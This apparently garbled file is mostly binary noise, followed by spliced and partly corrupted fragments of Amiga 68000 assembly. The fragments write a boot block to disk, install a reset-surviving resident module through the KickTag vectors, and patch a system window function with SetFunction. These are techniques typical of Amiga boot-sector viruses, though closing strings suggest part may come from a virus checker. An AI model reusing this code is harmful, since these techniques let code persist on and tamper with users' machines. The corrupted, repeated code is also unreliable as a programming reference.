?xFQhp?\ߧW.Di{}.0IRMTV^^NF6h{HPyԇL #ew(x8cC9%i8f Uo%Y?|;<}?wڃtECkE_  -ZC茘ˎ#ߏ iTX^IVk`yAw{c"@tQ0_,Df["kNLCCAj>lxVLJ?_6<Oxx='>LqrM{'O!V^ ό\\|j?f¯HALl'HدX|l: Y0"A>M[0-bمO\D40">p) l(gCԽ8<`7d0i!/ф? Bnq gr`μBjd +| ]\AHi!OCh zͨ lX(s|jT=*Cξ!eߊCG|dxY pd>}tG9$|ŧɐ,c+H<3qHba  >[T04>|`PqΟ| 6M휍 p`f~ƯS$nyfC[G'JsCӈzjri^ns0 :?>@ eqNUT{=9mϝ޴ήF4x׏!Ӻب#>,qٚ:J~遒g[{{cCS:1}8n3kA 7H>-; :rih ]f!`MǕi%E%OA@_kGc \Ό0+_ Cq;ڸYtNU,llkY\ri,r&g6`p'Жœ2qV/?3`l I|{L{rdd`\14QcLXO``d1rXOVKef25?pYh_$fUX5~#msnD``A#{ C ?B(;8|-|c`RϩJEvs/>C >G3 ! 凝f)Xxx:@Ws\5+"Lώ;O᫞cPA֖66\[7*07BJ^EE$D/Pv2X]8G/L񽣐}zac k%8ΡO64`iXQ$0 ½NϜPassuAaztR/;&.r_ U ``]`)+,iB^`"=^<=/?2J2 p}ji!'x~q'R#o*B"`SqP*z`t0@kk!!XM,HHj3˞=FX' R?L&nƵxCVށp"0qoCkM-쥄=(ǯNI9ac?>I`OHfPE([~WC#yI@Fy 6AWPr@ zf 0 {|_}W>6@Gi Za8M,ej 0p/fchnkaPzdp/4Dd0P֛JR_C+k&'AK; A_tĎi#Ly%GgSGOxCҧhtR:j bh֏d*Q+F.SzԘ lE(>PtPb[,u,/F p4ɀŀpN".lFƲx݇ΐ/ZO坋/{2KϤ02\ A!MA$%lGAN `j-A+X!d^XEU('(78 <+  ar ($ 0ZDDK h@ l 0{/&#Ya * @0L`A;(4 :];燴&'\jb(.<62uRqD@ z2ifX 'wxΝwt0q !bj-,P%k׃!ǯ? 8aXi;#-L%&ðIРOh1 2Cd S i# *2HDHMNѷ;ɀKi+W,y C%.prvxR-6T"xeȭx >QiHg/%;Dۣ3^`yA_Ճi7԰|,a ළ aʕt@g;r/ѼePY,L%dCҢ !LH_AdN =쿄ha DW>ES5a *`&l_ Fc  Ç:@^- !ܘ.A7A,6'^3m = ǔGI٘r@ 85Lǎ)EeE腕EQM- PTBM1&w[  -{ Y; V`ք^$AC33Ksxإ䒢R$P£j^S'/h1,LL L? *pJGfV=~a9~.1!hDde!}~|#'0W>Nx. $0aRi5K[S/IllIBa M܌`Z-oqpa,~9?PQ  LOCX<'{)ځv^A{h`xX@.GdY5ӟ"Wmjbh2-!1\.dq/.) ;0t8_':Y90VP>.2\obe CP,MU$H@@_/59j!R&tBC#SG`=RLE)h`Eq~.%l 64$nw65n-`aN&SpH%O$l }LOw* |%taMѲNH>f ,1p 0m`(FBFCL2qi ,,i 1Ax AVEYyzƭDXfԝ,p>YËϭrH8/`A{\12T5(.4150*Bap^:E1!a2#r{J $J&?`~!=pqQ8I3# 2]XBQHlCĪ"'W' SXCK;[[@W:GɫC'~{@7;|y X|P`Y6:gTr Ӓgt.;8c,>|TDo}T@[9d ç #L –T4h=SV! B6TpPBu_oNs>X`baa6$Ƈy L@d~ ClMPze$: @b!$1bBS[KsCye">(Q+RJh;E휅 Ǐ(4n{A 9Ǣlv`78&2 u50{t$n9;w4i)c*$3G\dB;PJhxKP4z   xZV @Ӊ9t7 h@ý XKwrv5`[A$u+\{pxDD@P1V 2: ;P ae#8$(5> *W X+*;#{{Yix@czۅF6padޚ 52bjf L.3i `3%rA @@@::ؙqA@ 'W' SXCK;[[@W:GɫC'~{@7;|y X|P`Y6:gTr Ӓgt.;8c,>|TDo}T@[9d ç #L –T4h=SV! B6TpPBu_oNs>X`baa6$Ƈy L@d~ ClMPze$: @b!$1bBS[KsCye">(Q+RJh;E휅 Ǐ(4n{A 9Ǣlv`78&2 u50{t$n9;w4iL:u4헾fr°A(Z6 #R݆Lعr}p5>9ˆO۸,Cso<|pUn1؄:سwji2 ]Mʈ/,꯻ie%N-I"> |@oi7|byGϽX^+0'| ?^D"B# ]TU4XG=#0򋎒r1p􌨆 AYa i:hO/%O0/!C=vt3C^fz00_^&cz8(zi(/"p|'| R]6H&Ǘ*1'ѵz|\7"g3 !*=PS7Kw1 39p B}Y9kzt4YM GQ(!xW'1& [Oc쌓X%Jy2zFȼhݓJi#0а2PG qN׸B ) e@I:>坥{6f]O}0q{{Q9ϊQRsOA N+[gW:s<]# > MbC/H tohD+9i&WK*M~ zx.N1wb>PnYuS ál-^ 0 w_0I3E;~X(n~ [;+PҼ9qW{cY a! =|$FE$eoc< MV#ccIy@ш"!O 1y@bz呑%U;/~͵^6-J }!׼\ެpP 0 0]O0<=+G;{'24{K?~%n10c CKUEYo!}K S~oiH9w>wy=đ# HJ*YMH,1$=Mq9,Np84sa{/(<8a|B52Oz0O}JWlA87AGo;j~GRU>sr'@'ʜ`=S+!4ȫ)LL2kr3||` &1Ir< <y Rh+ =kL{9?y-UVOӆe}|_cϟ6q^1O ({+ iݷIJ(,33I.8Lhm|=?—O:FU>W&\ T)>"^4#[?SOPR>>M O~]L0u3?Aoܝ; 0V 1"NrwtiO\,pӋ7q?qY;?x菈fQ*l`YxM#"d O:9L_OCёY@W. L2=D" L;i(Ù|t]݁$Um%C%x珱 &'x7W>!Q6tG(%;7L=X`JEg /0BpɸCHW ҇,”=0.lU3^˽ J:`MH4qL(Ih 0<88'QG6ə2;'¤8@Uc9:]%9&o$a4ZĆmy.Hd*$4heMe4v pRf;egbv/8A1YffA X ]`lܗ+ ̒p; bEu.+ N7lpO@niXBop!btEMFbL8> -蓬>Lf̆ =@80b[g`@D"accdf1$aa C hxCA"a~93Kck'<x|OCZO.`1A >~Cpi2>PA8Pz|p(PAccSgZw,=߅O+G | N1OM`ywo_=~ ;?~ ;xo~!V Xu rx9'1D`l\8St^lH'0O"*0*,ҕ {BdYyy(/e-/= 8O=DPz`?ܽ6ͦ lci'L:9!C~9f .`]B/7w+QNdZ >0{ B\BqLHO4 9̎7LdeHAT bb1q༘99gh Y yBj!hj ms`Z-$iÃU5>sCa ~ NXx2]1q+~=| Ug, OQTgq 3oM ؚZc ꚁ:ZOT,"Cxx.!`4E3 }CҼg]ɐƪ72q0!a?B'om axeJ0p:  JlEXrB.|cֻ S+:k.v7@g+<@#d_EslDӓTD H|pPp-@lqVadE=`d&NO}/_ PDn|y(򖀾SMز:Y( =@!>,,zL$f%ki'M< q0 p$RU,qb8)8*a$b#{&L&@!fH@]2I^!r4*HYD&HRN7w   ČdOOH*x11JLG@vDQ䘁QN $El@[92 DV0tS.M) ̖X; l"p\d0d{X$ $(yJZy(C 9Hbd AI81#(1ևhqY C!`X&<p fT0p2Cr=;R)i* p40 lBں0hDQp"LJgE`Z*`&TUNI$@À퟽r+-ku~^|v5N՘G=[J.4`~`a?T72[|g-eBW07Js{9w{L"s W* "z}|BqEpA8D=.G9OzgL c|0) : kdkx∋ !q^Ge+q ቡǸ\< ;T|z;!:^6aQ6 ?|vcaIeCK[JM ǜ< 9ǕMMfSO;M:O)af)0`g*cz?pFtuUf \rOBsǜҌ4!<c?AW|zC;Aq|O|0x.:C~% ~ )IˉĂ"^QaȨx@}рC ~8i\ 6A~KeKR[͆|6ymkHZ.!IA%<wAkí8tG[BUpk[898c!5 ¶&s``Dc/IRcxyC Δ_aBfhNWLyJGBWw 7Ӹ=r|'>=y>NG>va sq9pA9~AIv(׳6232Ոꝥriuvpq]zQ_}WӔH"& i|''mC Y?Np }q6/$bnȖ p;6)SKp?&NTyPx豓廞=OX>TCQ>K[P{ hyy\ fAj̆=fp}A {LE6n~):a pc҅6246u3>~L/əvV3CQuuO'Q_v)< t ^}OX$pڜ$kX A! ag?[60QT^#U+a/q0!E@3/`Ϯ'TX\֓y**^$1;XH`_:,?eF|'iy@!aQh1l0cL= 0F ȘTJKX"-:rC=+3 =# '=~?608H^P~ZF ,(AxLB#C/C:?lbQLݛL [:2qr8swZyN(s23p2`Al\aoiljg||r/-00QsW =z(x2"q zϮx&$'[A %;I?` CFYy5Q+7.^ƜP2R׀ږI8`M~#y 2J /0b!BL}Y_0g1y=J q3q b3b,4^8u ,O_|cg^fD(Fr^{y?$_nm#40+A NIgM~ZOBq) ~䢞Z(LWnxB|N9-?󟃞E>WKZ`Evcad&[<||G ȍ`!x߈sXOx t<.z0s9??h"pH@m$Gf|)OܞVaA (.SF3NX o䓣уpcZN4 O=f}PlQķ$>+s{N./]GDpxSj73nH. Hn [yمr)`;3_x飞{A@cү~G Ѱ+jzp 'P=D_ w`# $ٝO ,D|~.'C\a!B#*ic HȽkܰ|/gacS`!S#k?vU㛋W3+/~lo͙<^O%2BPJJCP,)׸GΉo,s nN~\|=׃#ja=hTl{=t9kBKYZƛf>ZvßW;3GAR:02Z+?.ӆHR^!|z6{X ` :rih&# ]f!c`J`8Xϑ"אxI[W,<0_ Y 9`Vw8^EG{3|:8 ɣ}ɩ?'!сv.L,F띃_ ؈||#$ w _֦[~%7\)wTY qw>AvaA'ج=xozlG}4t<=i `88h|Tp>}^v:= 1ެX$ U61q!üG'kKgkZ靑~kGּȵy#@ =#SsI{Z1םQ}ƻǒ,ؙ0I|P8š'$:xuZI` > `4»KW>2FC0w>y>GP Láya~?q .`j8O4\O:ߌ=@G{^Q3K}|# vH pL tP|T;hvZPLjw/cink/ɩDz 3/üI gW#f 0|׺.[]{g@9!.z`@!a.%PQ{1CsX'__#  GK[X۳_C!hi\xlT Oiyť`<!Sp s:)~ 51ur WOR2C||(b? G@\oz>-ܶXX}1z\0r81`P=045'˗qqi@w˾!l112HOg|@ !`i$}: X{:H:'A`C/](?`l`œ;:SX`O>QI삥Dyꏌm*$| ?ΫXܡS5rZă 0 }K$zGQ+09죈Oq4|F 4Iߍ&AOeQ͘xɳaهP{5GjA",)e䖪{,Lұ?1`xι.~B<`GV)쿈̑H$íV`P+:,3I:z%J^&#6Q|_ߑye'$ )zu A͇L0FP;* o([Ț.\|J5&  4x--K@)!L\\],turr䅷sGRSPИ&EY(!V Q38Ѥ v/F6ֶN.&.j`R[=>#@#Agc''-5.prOã[g`YU?ޯ gdPX/wVƇ,U{xq!pgⷁtGՌJ'xAtxaj؆`AexB1MPhؙ6R_Y5x89I*X2_ Xxhz}{bq!6F  ϼV\ߨAEc0_Bɒ.QuF132D@"$e. +0l/>9`@~q؜uUľ];(őM)lcJxۑ5_47l5r~4L) &k*}鑡hQ|Wel:0Qȅр$ XJ193É_)쁰~҇pceER>|trn?X)6टIRۣQ'J /z2wcEd 䓺bdf23ɕ KKixEj4 PnN6fW;MLA] 9=Cg$_!Y D`Dr24Ȼvx'> yݟyDX:d54q _>tA|Ώu|ވ}O4AomWާU0A9eqm2`6+!*}R4Ȍ6 !lnak9&"8=Bx<$xu iڵgOM/L!Kxck^^)!A% \C=ٵv`/Fyx'Ԗx VϓfYɋ >͛g{g}0L8B ,C69ÞQ,n0 ݕ`6F&,nP#3Ź~fDϔxEǐ R2uHctt@0fڙ p/Xƙ耘Td9S<L'g4 1 I[V8]`qC'!a "e/т Q穬 /bei۱~fyYaHMY:ilxIk9$.(Gt4/ ʼn8cf_p^F<]Al x}#18S7KcS >ߠ<TG$\r~L//K4LG 'bm#l~/ 8td;h[C̈|aWlA= Za<^҆<~$9PV@-,ޛˌ8I @*$rLs4  yr*M($&m0>@ kH %-J"pt@@OyD.'<呑w˿H<uS=> m!(u=_R{꾶=kmn.b`CDV8@{=9DqY tGz=XH;w(<(b~)S|ybV@DU X0'|R/)a}~4ہn{?' `ƼQ|*F[|!so|찟>|R@ǯϝdq$}`D39/<${SEC㑆= > zL05\>^8*_qky tRꠛgx(Q 9Ô~φpz|/ yrT0uM>"4M/d*bddQHumdlkY?"OoEЊ 8޲BxTM LM8O1f&&C^]BQO31=7@s$"CgGWX6d=cہ 1rBpa,;BFڑŞRғbW|l0D[S[ *z`%'.!؞)ᓡ~vvv޿+;?k;SZa >K'0S3ug ?ͰzO7~}:GpyaA|ϑk3?'#i$'\~~}ZyxW'ˍ@X欀]adU,N"C'{T pLz{WAxڇ4{8Ozxjyv`aH֗a  x!x9ohXk7¢~ p4 `@]ͽPPv2v^; /vn18/'Ni;TTyb% NĚwx- /'UxrxU+4| _X _-&zfPaLP7@ M/utrK:ZpVK殞K.=r%kŭ){yt4l'H^5x>4=uzlk~i=NP =At`<雗3Zb:税|87v=0dS7|S L=`EЅ6D_3>}?ߟ "9"A2F_H e! (:$88xC330G^qTXv3Gi^ %mj Nm;>0$4 l0LWR2Z1JCBGA t'D "DL A2>NR&O$Sv6)HXT㷰 t0uݕ_pxVoV㾫AxaiP]BI8Fb~il̎'e 3''~)醄RN7ďA=  {g!}  w_qWNݭ% 9([/#SH ^|<$7ir|y1|w!  WmmgI\i8qtQyz`8/{4o<^C>9>4`Pjw{^cO)a^:yA߄Yco65qIf8ҕ9K:SLx1f@a 1PHs~>87O?ʠ>zܲ.Qly=޷[CS g)Ip{(I j"_4~PpYj03{͡64ϹE864(P  ߣcc"+ Jk `; 5.-鵾R1>7ѹ?b d5}>$یp*/Fqb?&1C$.D2"3Aq}$ P__ ޜ:xGI%_?5KC qe ԑ酁Lo*p}l\k\e,aƘ|wtއxʇ?e97$p_C=| Zt , LjԋǞ^-+R1 d9ȊOɀ?ӗ`}-gƗ`M> (}F;om,Ek h?SQ/0R򩍘JPS?0\(d$# _][jOE!'!g+UB ])2|K+e래,`J.l'@a#(b^?/0y@*3=Spz0SdzAb0)E$m_ƟIzY1ٝcvrQ! V!L }n'|ZLzoRvQ& '+_+?q|C]={j(jA3׿ ~F >%NkkƁpvFDkip\:E$)I/xu f$"t'oz4 2츼9Nj DɄdBmU_D}@KjCrka( haG-oI^/^HήFS+c\ :XdA <I?'*~ _^oҠ$Cې(Ɉ KHOP' 4``Sz(G y|bjfljk J]p'-&#)W"%cKBă~VpNd":<M6>y<;-`EC:r8<`Bɛ0RťC?|>4Q\9($C'-5잁cE.7se|FŁ L,0{@CB41taN3tI;$L O=d4&NDDRYAGTѭ>tvg@Pzx|2+9pSx|c4ef`U=XoR EG`~`U<ހ' {zygԃT!gԃA%+R8gھL;ece1`!\#d$-;aTNJed6#v橩HyA~ЋHAɁR "AR {p9#`oA\#RR$R윭H;`111R `?dL r00o G]|_@U$*a$@2 lA;',,0:xf,KБ-;P<^2C~ X<<(CÆCLC_D|&髝kMd,[D ǛיDod>) 8+!~W$]M$ L b}W,~2x*5CC~ԫ^t|)z+iTThz$TbB~8= yNZS)+Ȩ#C?cB0SdzP2CNl)G q p{QZ9P8h/,,T<X rvI+# )Qcp^^NF$^O`R48 &~^ PUÅ1rDDTdΙV(i&$$<ٴvcs{C=0?KKN011\ӇF|@{bﮫł~}^@=n-!F;YG[9">kIP[ȏ _bB=C҇{&l&坙-9/= W_]M*H?t4O缐x猜*l+"\.{Atl!ߎ]oC D[q9V oi^jidh#{@_k̘W3"`%Q M":qvrT'ҊXPP ZA/G6=ls`v r?(?pCr!*4~G$9g43׉>Q͇_,0?\U78nC0O.Y|0EnL|wC'(Cсv6x,ƋC@A d#ඕDԷyh0Z u002؅%B3$YE1z]e7ea=t8S!7B(tʐf3ήFM@lLFv;Ui9=x 62tu3& Tx<<0q  0,ݺA(( b@t9q 2BO?h??N6Hy A h%|8IH#M &&O4Pl:Hoh*׷=Hf}bPPf .9: 6NWXjG y0aea`3dvHG04 Ab X0f,C) ,+ăw L]hnm c=\c!IOfh=˙h/„Q9ASnC <ڼ)SS5姏א4x+T}k/u GO ~1k zxa$ »:l iՙ ) 8ﻧAymM-0F :Ds)#$d66ac) < 'SV@"i5{24 `50?r cA\~XyP F@Du?K(x&5Dnҳ00s%\SJJ)CӀ G $RS*y<潫1ϣ{0AfV=i]H(  ΃<fA4mcp#(C(r|4ySM!L8^ubKy y` Q$l"}݉&1;w?)43(#07 =<*t)BFy*dB_2{i4cEeRTW?=,>|hP'$TRF4D ̌, D?J"(d( Ĵ(^YKye入mA n^EBFAUeAل:产-%$ /S򼪗1 w\ RA#Gq@Zؘ$z~kSO)e'F{#.Z`lye$r `AATTؽSM @s9" @:2C̳`a]fFp axZ a@=0d4p_L  cd@)V 8f0Бڣ&t6FNNDv.66&.jjt F⪚UC8k 0p٠EhXS*"`6I F):1e y=঎%~X;p! Ptp>ʒ 664s0ȆB ;\Lk%yy9b6v4$cmdQ,ci i@cGh[4*.); ʉɪJœ J&ƅTVKXNRmLm!X8) (i ]4t/S򼪗1 w\ RA#G k!9DF<#_XPAzXCsx1r<3U`}fzyO>=PI0!҈yLM-iձ'a!1=#C.Y>>ڭzy&uu41t5S>W!}07#`wxza ug_LRNoP;ܚe3L5x GETTcZjGP?D 56L'ʢ H%QZ jI=z@6 (e0T~i3Zy 9%ÎVN/P6\&Gs@nC؅6e2RN 6/䪇x8ӂX9fJ!wޣO PX7G2*0\=dChkbSXOo' +;31.8`Lh><Z#yƇ1OtOjnf#UI?`[y&קW'ih9l' ƎAa>I*(zz8BjFHM G4,tL'0`+A(;`7= xP|f">Ɇ*Ca8tƭ5Q@F3C33#6^4@׈e]dDcf}>}H3&\?#Ħx <= G4D30HmD $bQ## FAp>=ۡL [jϜ[Ypî3~~~,]J!3hy 7'r& | ǎ!M+&Ff[6OP$:t4YX=2jn ~iz`$-# 5Tl0R vˆ# iS׈(b*4"HYIHH1ܸA Ju7s0=\xA 猃  ƌ?t=(wц_AX/ !, >fAϙ _x|=6C}3d#[VGcdd2z9\/&#g!dH u`60!3-Y52@C'`3 t:>p|=YbkЃwT ~!q( 8 D;s(pP`2?NC()!:t֦@/HƆ.qT!H`C  XbZF& 82q$>x~q'R#lB"`S33%FK& 61r;],z`5r|,DM%$ @т05@$9B'\  ^lga0&chnc:b/By:09 w?Xp u=q9amiu7e/*h>CA~{3!/,4k ƻ > !(WX#)T{gd <9 89j $L%F(=3ߚY bnCۺ0-쏤!vc LaCB#>4* wAiUVDTFIY\8# 8?P?bX4@NK`ъ{+3?\Ġ%/Qvb Y-%xN9 tR֦N};w<6@H+injALici0tґ/ ݯ? +{K;Wg>|ϓu`s>p@e=<zwoi#[҃@2ª2,/yd{w/|v* Qu9UY*pTȧNWj{1IQ9X] CCL 聕 JT/BO(oHƖ\!D߭IAZu.hH ehbTq?@^'/?kP=@W?~c꾡 8ԁ+B ;kF0TEs„?Xu3q?(*cEkNnET9_2BJdRYIrd"D+t2p?8yx,_ߥnRp.HW)^}ׂWʚ:..fJp`JH ʗ75mM e3O' d2L=ʩù[K~F)śⒾA"9'z\5{3&!,=S&30rIr o@A74S#]DN\, ==+3 =# '=dHck4LҔ=Boq,8A ଈN C|ǧ Žp@1/8S^=IeA:<5ayMy4 8O\Arb@L?h>Q}EU@3O*^ >; #h<~`Oy'Ϩ' OQkv)#*# YO1Cu /&"^w~@Ң6U;a>$ 8>415q=B;&.BL)E1Юs(,hMA;6K{;#>']?­X)8BW9'e(˂2 0&o|/]<á6y\ga.뀉JSESD@˱{n(4(J`TUŇ.X>O 72!AB+Hx,NXjPcz C.=: r̬,]m['g.A>{'Y9A],L]{pL|oie PN0HmvFNy'Ki\=7Jؓ Ʀy) 6l¸<]͝M ,MM  \M ]Ma]m]9`&4dʼ[\z0o]<?sW92BS}A 1<l6H/vCx<`("Yy!`@T!$<2y(94\q~wv.b\uxkNPk.b(Qqq{݉)?w wRrv/vr/Є.sEU]мb 7Bo?luϳ(+$?/NL6)($ A A0x_,t C ?AxISa;Ucag#d(M a0w8ݑ Oߵ݁TV@F_nՇy VcI%#Qꇄ s23p2={<⒀.".% AE?-*]ce入mAʠ0 kŹy q!UEgy.I,P|sAk߲d*!1q?KHQKG%/+ʩyH+c$FT094 m9eKC%WɆp7G|8zXC4QZ꽱ШkO\(i ap ΖvfԼMtEaYQ*VQQ!A,?e8 Bee%QU%9>yay9TRJ'&"+ &'#3HȊQ9K*zAc{;$yOP֦ *J0C`U"i1f ApQ**`l^Y9 X(@FHycLL0 `8n;;P@ z[ 8"?ATXpiV !` ,TsI8ژXXH10x Kh>:fd`BG"A{OFNB@e V!!rh @A 01p؂@#'䅔]LO9#`a#!7stK#G8=As)+QfUQج~_̄@+ FZH8@@;@Y٠EhXS*"8#&l-L: `,O\X9p}s*J"\P|X "@KcS"c3t\Lk%yy9b6v4, L,7cHUA f2.t*.); ʉɪJœtQY'EdhNv6;f m!h~p"v2s(K#{X^xƊSkSO8nZuCs@^LL!d' C;S.c:H(,?oY .A€%AqD) ,B9&jT9,$K(A"bbcBQ%?ܱF̱ԱEHZS>Lyd}r|K=JayqzY8 # )S|Z1S 4e$r.LǾm||S8cfr⁰.^2!xs& H=Akb6a#+_>'fq+M~w}oiY"7:$s&)]2U!{kIl4y|0n ?~PΞa">N#UCf&5H@ k*H=TM>0q= a 'zPPuzyCʿCOTAI呥3C)Z[Fr|@>}{cC3҉႐ (s{{'[&b=kl<0j׀}(1ո LJEcoff"Y#n1roYɧSD M7ATu5|i7@D (nB'AZ"vZ8oAA/{=A޿g/ m40q/x^O 8zvii8 ˟yÃ$*G?;ݗ3W_+~rGO3vrv*001ŐHMO3$yF{C@|]#DD 1(?AYa i;* w;ՕpsџGB2.@ Vrҧ,V"OƋ<'#0R|A@ /r|⿁#3imMl\>Ap\G[ h̄Brﻣ@IAAPz/\F:>Pֹ\aRwܐ_ JW|<}?ƈP&1d_rilhi> x}?7\{UǙPQ>!7$ fDHM`ZҏV0©7N5>6ii"  |Zz=_T>nm<'QTTa QCعBBǤ!w^;q1# 90}BBqΟHɮqaP@8`d?qr"2@;p\ u'[D|Ϩ l~JS|qbM/yh,ØIMP'K[QK ],^uo ϚWҿ~{$/-%`<%҃WAmoe/q?vyWH>v42m |읷C~°o GBР`̒]!#"$zGM74vSx0*z}:$,p'%jAt]vX 2<`q$U< m IOi&c! l LLO:`}2`U> BAmIBЦ zp!3"& A@"H;raH>R6NI*[:B(بiۉp;H>HF C?:{9V~sY>MJa3 "HyAA_#,5 QUb``cdoˮS~SdrO C;sSQ?SKJuN8)>PZ66R*u (?OCxj({'k!ӳ\$&V4'6~1EJ:O:`_~0s -;0%a|ar"*Jp7 u7Ӂ790A4 D @>P;@?R  z, #PpBO R| oc`ح"j%@~ag3 x֚UUre1nTS@8r^PDJρ;<t c︞?, Drive(pc),a0 move.l (a0),d0 Err: movem.l (a7)+,a0-a6/d1-d7 dc.w $4ef9 OOpenD: dc.l 0 SetFunc:move.l 4,a6 move.l a6,a1 ;lib move.l #-444,a0 ;offset jsr -420(a6) ;Setfunc rts Drive: dc.l 1 EndPrg: + dbf d2,Loop move.l 550(a6),d0 beq.s NoResid bset #31,d0 move.l d0,Struct+4 NoResid:move.l #Struct,550(a6) ;KickTagPtr jsr -612(a6) ;KickSumData move.l d0,554(a6) ;KickTagSum ; move.l #$fc00d2,$80 ; trap #0 Err0: rts Struct: dc.l Resid dc.l $0000000 Resid: dc.w $4afc ;MaL7 jsr opendevice(a6) tst.l d0 bne.s end lea BUF,A0 LEA 4(A0),A1 CLR.L (A1) MOVE.w #$00FF,D1 MOVEQ #$00,D0 LPCHK: ADD.L (A0)+,D0 BCC.S JUMP ADDQ.L #1,D0 JUMP: DBF D1,LPCHK not.l d0 MOVE.L D0,(A1) ; BSR.L WRITEB end: move.l $4,a6 move.l buffer,a1 move.l #1024,d0 jsr freemem(a6) move.l $4,a6 move.l dosbase,a1 jsr closelibrary(a6) MOVE.L $4,A6 LEA DISKIOREQ,A1 JSR CLOSEDEVICE(A6) move.l len,d0 rts motor: move.l 4,a6 lea diskioreq,a1 move.w #9,28(a1) clr.lMO 36(a1) jsr doio(a6) rts protect:move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #15,28(a1) jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okprot CLR.L GOON OKPROT: rts drive: move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #14,28(a1) jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okdk CLR.L GOON OKDK: rts writeb: bsr.L drive bsr.L protect cmp.l #1,goon bne.s endwrit move.l $4,a6 lea diskioreq,a1 move.w #3,28(a1) move.l #1024,36(a1) move.l #BN PUF,40(a1) move.l #0,44(a1) jsr doio(a6) move.w #4,28(a1) move.l #1024,36(a1) move.l #BUF,40(a1) move.l #0,44(a1) jsr doio(a6) tst.l d0 beq.s okwr okwr: bsr.L motor endwrit:rts dosbase:dc.l 0 conhandle: dc.l 0 key: dc.b 0 even diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 dc.w 0 dc.l 0 dc.l 0 dc.OGl 0 dc.l 0 dc.l 0 dc.l 0 TRKDISK: DC.B "trackdisk.device",0 even len: dc.l 0 GOON: DC.L 0 buffer: dc.l 0 buf: DC.b "DOS",0 DC.L 0 DC.L $370 MakePal:bra.s ContMP dc.b ">Make Pal<" ContMP: lea Intuition(pc),a1 move.l 4.w,a6 clr.l d0 jsr -408(a6) lea Intbase(pc),a0 move.l d0,(a0) move.l d0,a0 lea OpenW+2(pc),a1 move.l -202(a0),(a1) move.l #$10003,d1 move.l #ENewOpW-NewOpW,d0 jsr -198(a6) move.l d0,a1 lea NewOpW(pc),a0 move.l #ENewOpW-NewOpW,d1 CopyLp: move.b (a0PX6)+,(a1)+ dbf d1,CopyLp bsr.s SetFunc lea Intbase(pc),a0 move.l (a0),a1 jsr -414(a6) bra.L ENewOpW SetFunc:move.l 4.w,a6 lea Intbase(pc),a0 move.l (a0),a1 move.l #-204,a0 jsr -420(a6) ;Setfunc rts NewOpW: movem.l d0-d7/a1-a6,-(a7) move.l a0,-(a7) lea OpenW+2(pc),a0 move.l (a0),d0 bsr.s SetFunc move.l (a7)+,a0 NbLine: move.w #256,6(a0) lea MakPB(pc),a1 move.l a1,26(a0) move.w Border(pc),d0 bne.s NoBor1 clr.l 14(a0) move.b #$18,16(a0) clr.l 26(a0) NoBor1: movem.l 8L4(a7)+,d0-d7/a1-a6 OpenW: dc.w $4ef9,0,0 Intuition:dc.b "intuition.library",0 Intbase:dc.l 0 Border: dc.w 0 MakPB: dc.b "AmigaDOS" blk.b 22,0 ENewOpW: move.l $4.w,a6 lea dosname(pc),a1 jsr -96(a6) MOVE.L D0,A0 MOVE.L $16(A0),A0 MOVEQ #$00,D0 RTS dosname:dc.b "dos.library",0 blk.b $2ee,0 ;LEN ENDBOOT: OpenW+2(pc),a1 move.l -202(a0),(a1) move.l #$10003,d1 move.l #ENewOpW-NewOpW,d0 jsr -198(a6) move.l d0,a1 lea NewOpW(pc),a0 move.l #ENewOpW-NewOpW,d1 CopyLp: move.b (a0R=6) move.l d0,dosbase move.l #$10002,d1 move.l #1024,d0 jsr allocmem(a6) move.l d0,buffer sub.l a1,a1 jsr findtask(a6) lea diskport,a0 move.l d0,16(a0) clr.l d0 move.b #0,d0 lea diskioreq,a1 lea trkdisk,a0 jsr opendevice(a6) ;ouvre trackdisk.device tst.l d0 bne.s end ;calcule checksum lea BUF,A0 LEA 4(A0),A1 CLR.L (A1) MOVE.w #$00FF,D1 MOVEQ #$00,D0 LPCHK: ADD.L (A0)+,D0 BCC.S JUMP ADDQ.L #1,D0 JUMP: DBF D1,LPCHK not.l d0 MOVE.L D0,(A1) ; BSR.L WRITSVEB ;ecrit boot end: move.l $4,a6 move.l buffer,a1 move.l #1024,d0 jsr freemem(a6) move.l $4,a6 move.l dosbase,a1 jsr closelibrary(a6) MOVE.L $4,A6 LEA DISKIOREQ,A1 JSR CLOSEDEVICE(A6) move.l len,d0 rts motor: move.l 4,a6 lea diskioreq,a1 move.w #9,28(a1) ;command = motor off clr.l 36(a1) jsr doio(a6) rts protect:move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #15,28(a1) ;command = write protect ? jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) ;non beq.s TC3okprot CLR.L GOON OKPROT: rts drive: move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #14,28(a1) ;command = disk dans drive ? jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okdk ;ok CLR.L GOON OKDK: rts writeb: bsr.L drive ;disk in drive ? bsr.L protect ;wriet enable ? cmp.l #1,goon bne.s endwrit ;erreur move.l $4,a6 lea diskioreq,a1 move.w #3,28(a1) ;command = write move.l #1024,36(a1) ;len = $400 (2 block) move.l #BUF,40(a1) ;buffer move.l #0,44(a1) ;?sUoffset (piste 0) jsr doio(a6) move.w #4,28(a1) ;update (tjs apres write) move.l #1024,36(a1) move.l #BUF,40(a1) move.l #0,44(a1) jsr doio(a6) tst.l d0 beq.s okwr okwr: bsr.L motor ;motor off endwrit:rts dosbase:dc.l 0 conhandle: dc.l 0 key: dc.b 0 even diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 AV~X$a,$a,-1 AnaNoth:dc.b $a," Nothing suspect ...",-1 UseKst: dc.b " Use the KickSumData Routine ",$a,-1 MKTagP: dc.b " Modify the KickTag Pointer",$a,-1 MKSum: dc.b " Modify the KickSumData vector",$a,-1 MKMemP: dc.b " Modify the KickMem 